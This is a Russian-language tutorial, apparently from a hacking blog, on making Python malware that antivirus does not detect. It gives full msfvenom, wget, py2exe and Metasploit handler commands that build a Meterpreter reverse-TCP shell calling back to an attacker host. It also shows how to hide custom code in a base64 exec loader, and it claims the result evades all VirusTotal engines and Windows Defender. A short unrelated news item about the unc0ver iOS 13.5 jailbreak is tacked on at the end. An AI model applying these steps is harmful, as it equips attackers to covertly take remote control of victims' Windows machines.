Обход антивирусов на Python для самых маленьких

Сегодня мы поговрим про обход антивирусов.

В этой статье – простое руководство по обходу антивирусов для начинающих на Python.

Попытка обхода антивируса – это всегда игра в кошки-мышки. Всякий раз, когда новая техника уклонения становится распространенной, производители антивирусов узнают об этом и обновляют базу сигнатур, чтобы блокировать её.

На момент написания этой статьи, описанный здесь метод успешно использовался для обхода всех, без исключения антивирусов на Virus Total, и, как следствие, для успешного выполнения вредоносного кода на полностью обновленной машине с Windows 10 с включенным Windows Defender.

Payload на Python

Антивирусы основанные на сравнение сигнатур, соотносят сиггатуры обнаруженных файлов со своей базой данных известных вредоносов. Наша цель состоит в том, чтобы “замаскировать” полезную нагрузку кода, или как её еще называют, пэйлоад, таким образом, чтобы сигнатура не совпадала ни с одной из известных антивирусам сигнатур.

Поведенческий антивирус попытается сопоставить известные подозрительные действия с действиями, предпринятыми при исполнении вашего кода. Наша вредоносная программа будет работать как клиент, запускающий TCP-соединение на 443 порту. Антивирусам на основе анализа поведения будет сложнее ловить подобные действия, не создавая ложных срабатываний для обычных приложений, например, таких как веб-браузеры.

В этом примере мы используем полезную нагрузку Python, сгенерированную MSFVenom, чтобы открыть обратный TCP-шелл (сеанс meterpreter) на 443 порту с компьютером атакующего, на котором запущен Metasploit. Подобные действия ПО, очевидно, похожи на действия вредоноса и должены отлавливаться любым антивирусом.

Описанный здесь подход достаточно гибок, поэтому в дальнейшем вы можете расширить его, заменив msfvenom своим собственным кодом Python.

Настройка окружения

Мы рекомендуем использовать 3 виртуальные машины для этого урока:

  • Kali Linux для создания полезной нагрузки и запуска Metasploit;
  • Windows Metasploitable 3 для упаковки полезных данных в ПО;
  • И полностью пропатченный и настроенный к бою Windows 10 для проверки действия программы;

Причина, по которой мы использовали две разные виртуальные машины Windows, заключается в том, что нам нужен полностью пропатченный бокс, чтобы протестировать наш маленький вредонос в “полевых условиях”. До cборки с помощью Py2Exe, машина со всеми патчами однозначно буздет “ругаться” на наш необработанный пэйлоад Python, как на вредонос, что затруднит работу. Отсюда и потребность в виртуальной машине Metasploitable: 3 для обработки полезной нагрузки перед ее упаковкой.

Создание необнаружимой полезной нагрузки на Python

Здесь мы рекомендуем использовать Windows Metasploitable 3 в качестве основной рабочей среды.

Установите Python 2.7.16 x86 для Windows: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

Установите 32 битный Py2exe для Python 2.7: https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

Опционально, установите Open SSL для Windows.

Переключитесь на виртуальную машину с Kali и создайте payload на Python-e:

Примечание: мы использовали IP-адрес 10.0.2.10 для нашей Кали. Убедитесь, что вы заменили его своим IP-адресом для этого и всех оставшихся шагов в этом руководстве.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py

service apache2 start

Скопируйте полезную нагрузку «mrtp.py» на компьютер с Windows:

wget http://10.0.2.10/mrtp.py -O mrtp.py

Теперь установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).

py -3.4 –m pip install py2exe

или

pip install py2exe

Далее создайте setup.py со следующим содержанием:

from distutils.core import setup
import py2exe
setup(
name = ‘Meter’,
description = ‘Python-based App’,
version = ‘1.0’,
console=[‘mrtp.py’],
options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
zipfile = None,
)

Соберите исполняемый файл Python с помощью Py2Exe:

python.exe .\setup.py py2exe

Проверьте создался ли бинарник “mrtp.exe” в папке dist:

Запустите его:

.\dist\mrtp.exe

Переключитесь назад к виртуалке с Кали и запустите Метасплоит:

msfconsole

use exploit/multi/handler

set PAYLOAD python/meterpreter/reverse_tcp

set LHOST 10.0.2.10

set LPORT 443

run

Примечание. В зависимости от того, как долго будет грузиться Metasploit, вам может потребоваться снова запустить mrtp.exe в окне Windows.

Теперь, когда мы убедились, что наш маленький вредонос работает, давайте протестируем на VirusTotal-е:

Если вы все сделали правильно, то получите чистый отчет:

Теперь пришло время запустить наш вредонос на виртуалке с Windows 10. Просто перетащите файл «mrtp.exe» непосредственно в окно Windows 10.

Убедитесь, что Metasploit прослушивает порт 443 на машине с Kali, и запустите “mrtp.exe” на виртуалке с Windows 10.

Как видно на скриншоте, артефакт выполнен необнаруженным, и сеанс Meterpreter был успешно установлен.

Модифицируем наш вредонос

Вы можете использовать ту же технику и создать свой собственный код. Все, что нужно, это повторить предидущие шаги, отредактировав файл «mrtp.py» после его генерации с помощью msfvenom. Вам придется заменить строку, закодированную в base64 вашей собственной.

Для тренировки, создадим “custom_payload-py:

print ("Customized payload")
print ("It works!")

После создания, на надо закодировать его в base64:

cat custom_payload.py | base64

Примера, который мы использовали, закодированный в Base64 будет выглядеть так:

“cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”

Теперь отпредактируем уже существующий “mrtp.py”, который мы использовали в прошлый и раз и заменим строчку base64 на новую:

После исправлений результат должен выглядеть примерно так:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==')))

Cкопируем mrtp.py на виртуалку с Windows и соберем бинарник:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe .\setup.py py2exe

.\dist\mrtp.exe

После запуска собранного бинакрника, мы увидим на экране терминала строчки “Customized payload” и “It works”.

В следующий раз мы поговорим про обход антивирусов с помощью фреймворка Veil.

Вуаля. Все генеальное просто.

Удачи в изучении Python!

Свежижий jailbreak на iPhone: iOS 13.5 взломан

Внимание, владельцы огрызков, только недавно и громко кричащих о безопасности своих девайсов. По сообщению группы Pwn20wnd в своем аккаунте в Twitter, группе удалось вскрыть iOS 13.5, а это значит, что на всех устройствах получиться выйти из “песочницы” приложений и получить root права на устройстве.

Напоминаем, jailbreak Apple iOS (на английском, “побег из тюрьмы”) позволяет приложениям выйти за пределы своего огранченного окружения (то есть, “сбежать из тюрьмы”) и получить доступ к системным данным и информации других приложений, в частности позволяя устанавливать любое программное обеспечение на обычные устройства Apple.

В субботу, 23 мая, команда Unc0ver выпустила инструмент, позволяющий осуществить джейлбрейк всех версий iOS с 11 до 13.5.

Unc0ver cообщают, что их джейлбрейк, который можно будет установить с помощью старых-добрых платформ AltStore и Cydia, стабилен, не уменьшает времени автономной работы и не мешает работе сервисов Apple, таких как iCloud, Apple Pay или iMessage. Группа утверждает, что защиту пользовательских данных Apple сохраняется и безопасность песочницы iOS ни коем образом не нарушается. Напоминаем, что песочницы заставляет программамы работать отдельно одна от другой, поэтому они не могут получить доступ к данным програм в других песочницах, которые им не нужны.

Новый джейлбрейк Unc0ver может работать очень скрытно. Если была сделана резервная копия перед установкой джейлбрейка, позже будет возможно скрыть все следы его присутствия, вернувшись к этой копии. Изменения в ядре системе, которые делает инструмент, не сохраняются при перезагрузке устройства, но сами файлы джейлбрейка остаются, что позволяет легко восстановить джейлбрейк, запустив инструмент снова.

Несмотря на это, джейлбрейк текущей версии iOS указывают на изменение общей атмосферы безопасности вокруг этой ОС. В Pwn20wnd уверены, что это только начало и их новая находка проложит дорожку для последующих джеилбрейков. Когда хаккеров спросили, будет ли выпущенный ими в субботу джейлбрейк работать в iOS 14, парни прокомментировали: «Зависит от того, удастся ли Apple исправить патч моего ядра до [релиза] iOS 14 или нет. Но в любом случае я сделаю новый 0day джейлбрейк».

Поблагодарим и пожелаем удачи Pwn20wnd. И с нетерпением будем ждать новостей.